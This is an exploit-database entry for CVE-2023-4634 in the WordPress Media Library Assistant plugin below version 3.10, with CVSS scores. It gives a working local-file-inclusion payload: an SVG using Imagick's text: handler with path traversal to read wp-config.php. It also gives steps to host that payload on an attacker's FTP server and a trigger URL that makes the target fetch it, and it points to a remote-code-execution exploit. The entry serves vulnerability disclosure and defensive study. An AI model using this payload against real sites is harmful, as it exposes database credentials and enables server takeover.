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zdtFlorent MONTEL1337DAY-ID-39104
HistoryOct 09, 2023 - 12:00 a.m.

Wordpress Media Library Assistant Plugin - Remote Code Execution / Local File Inclusion Exploit

2023-10-0900:00:00
Florent MONTEL
0day.today
82
wordpress
remote code execution
local file inclusion
imagick
exploit
cve-2023-4634
ftp
directory listing
rce
configuration file

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.032

Percentile

91.4%

# Exploit Title: Media Library Assistant Wordpress Plugin - RCE and LFI 
# CVE: CVE-2023-4634
# Exploit Author: Florent MONTEL / Patrowl.io / @Pepitoh / Twitter @Pepito_oh
# Exploitation path: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/
# Exploit: https://github.com/Patrowl/CVE-2023-4634/
# Vendor Homepage: https://fr.wordpress.org/plugins/media-library-assistant/
# Software Link: https://fr.wordpress.org/plugins/media-library-assistant/
# Version: < 3.10
# Tested on: 3.09
# Description:
# Media Library Assistant Wordpress Plugin in version < 3.10 is affected by an unauthenticated remote reference to Imagick() conversion which allows attacker to perform LFI and RCE depending on the Imagick configuration on the remote server. The affected page is: wp-content/plugins/media-library-assistant/includes/mla-stream-image.php


#LFI

Steps to trigger conversion of a remote SVG

Create a remote FTP server at ftp://X.X.X.X:21 (http will not work, see references)

Host 2 files :
- malicious.svg
- malicious.svg[1]


Payload:
For LFI, getting wp-config.php:

Both malicious.svg and malicious.svg[1] on the remote FTP:

<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:../../../../wp-config.php" width="500" height="500" />
</svg>

Then trigger conversion with:
http://127.0.0.1/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1


# Directory listing or RCE:
To achieve Directory listing or even RCE, it is a little more complicated. 

Use exploit available here:
https://github.com/Patrowl/CVE-2023-4634/

# Note
Exploitation will depend on the policy.xml Imagick configuration file installed on the remote server. All exploitation paths and scripts have been performed with a default wordpress configuration and installation (Wordpress has high chance to have the default Imagick configuration).

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.032

Percentile

91.4%